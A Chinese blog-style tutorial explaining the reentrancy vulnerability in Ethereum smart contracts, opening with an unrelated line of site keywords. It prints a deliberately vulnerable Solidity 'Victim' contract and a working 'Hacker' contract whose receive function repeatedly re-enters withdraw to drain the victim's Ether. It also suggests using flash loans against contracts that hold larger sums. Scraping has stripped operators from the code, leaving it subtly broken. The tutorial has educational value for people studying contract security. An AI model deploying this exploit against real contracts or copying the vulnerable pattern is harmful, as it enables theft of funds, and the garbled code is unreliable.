江苏工程建设信息官方网站,英文网站源码下载,网站按钮样式,阿里云自带wordpress重入漏洞
顾名思义#xff0c;重入漏洞可以简单理解为“重新进入的漏洞”。举个简单的例子#xff0c;你往某个合约里存入了1个Ether#xff0c;然后点击退款#xff0c;按理来说只能退一个Ether#xff0c;但是可以利用重入漏洞反复退款#xff0c;把合约里的Ether掏空…重入漏洞
顾名思义重入漏洞可以简单理解为“重新进入的漏洞”。举个简单的例子你往某个合约里存入了1个Ether然后点击退款按理来说只能退一个Ether但是可以利用重入漏洞反复退款把合约里的Ether掏空。 以下是一个有重入漏洞的合约合约命名为Victim受害者主要实现几个功能1存款用户往合约里存款并给用户在合约里的账户记账加2查询此合约的存款余额3取款将用户之前存入的Ether转给用户并记账减。
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;contract Victim {mapping(address uint256) public balance;function deposit() public payable {//存款函数balance[msg.sender] msg.value;//存款后往用户账户上记账}function getBalance(address account) public view returns (uint256) {//查看余额函数return balance[account];//返回用户账上的记录}function withdraw() public {//取款函数uint256 currentBalance balance[msg.sender];//获取用户当前在合约里的余额并赋值给currentBalancerequire(currentBalance 0);//要求用户当前在合约的余额大于0(bool successful, ) msg.sender.call{value: currentBalance}();//调用call函数给用户退款转Ether如果成功就赋值successful为truerequire(successful, Failed to withdraw Ether);//要求successful为truebalance[msg.sender] 0;//记账将用户当前在合约里的余额清空}
}问题出在这三行
(bool successful, ) msg.sender.call{value: currentBalance}();//调用call函数给用户退款转Ether如果成功就赋值successful为true
require(successful, Failed to withdraw Ether);//要求successful为true
balance[msg.sender] 0;//记账将用户当前在合约里的余额清空第一行中受害合约使用call给合约调用者转Ether但是并不知道调用受害合约的是钱包地址EOA还是合约地址contract。如果调用受害合约的退款函数的是一个合约地址那么可以做文章的地方就来了。
合约和钱包地址不太一样并不是默认接收Ether的。一个合约要想接受别人发送的Ether需要有receive函数或者fallback函数也就是说一个能接受Ether的合约在接收Ether的时候并非是被动接受还会调用函数。
这一点我之前是没想通的为什么给一个合约发送Ether还会调用对方的函数。如果是现实世界举例子就像是你给一个公司的账户转账会触发对方设定的一些条款比如让你继续转账。但是这就是Ethereum的特性。
如果我是攻击者该怎么做在我自己的合约的receive或者fallback函数里进行攻击。我在Goerli测试网部署的攻击合约如下命名为Hacker黑客
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;//不方便引入所以直接把Victim合约复制过来了
import ./victim.sol;contract Hacker {address owner;Victim victim;constructor (address _victim) {owner msg.sender;victim Victim(_victim);}modifier onlyOwner {require(msg.sender owner);_;}function getBalance() public view returns(uint256) {return address(this).balance;}receive() external payable {if (victim.getContractBalance() 1 ether) {//①决定了漏洞合约里最终剩多少钱一般是下面的msg.value减去这里的数值victim.withdraw();}}function attack() public payable onlyOwner {require(msg.value 1 ether);victim.deposit{value:msg.value}();//②这里的msg.value不能超过上面①处的数值否则循环的最后一次漏洞合约里的Ether不够转账失败整个攻击就失败了victim.withdraw();}function withdrawToHacker() public onlyOwner {payable(msg.sender).transfer(address(this).balance);}
}在重入的时候每次退款的数额似乎会有不同的结果我模拟的结果显示往漏洞合约里转100E然后分别使用1E/2E/4E/5E/10E都能整除100重入只有10E成功其他都报错了可能和循环次数/堆栈有关。针对这种情况如果目标合约里Ether较少用自有资金攻击即可但是如果目标合约的Ether较多可能需要配合使用闪电贷。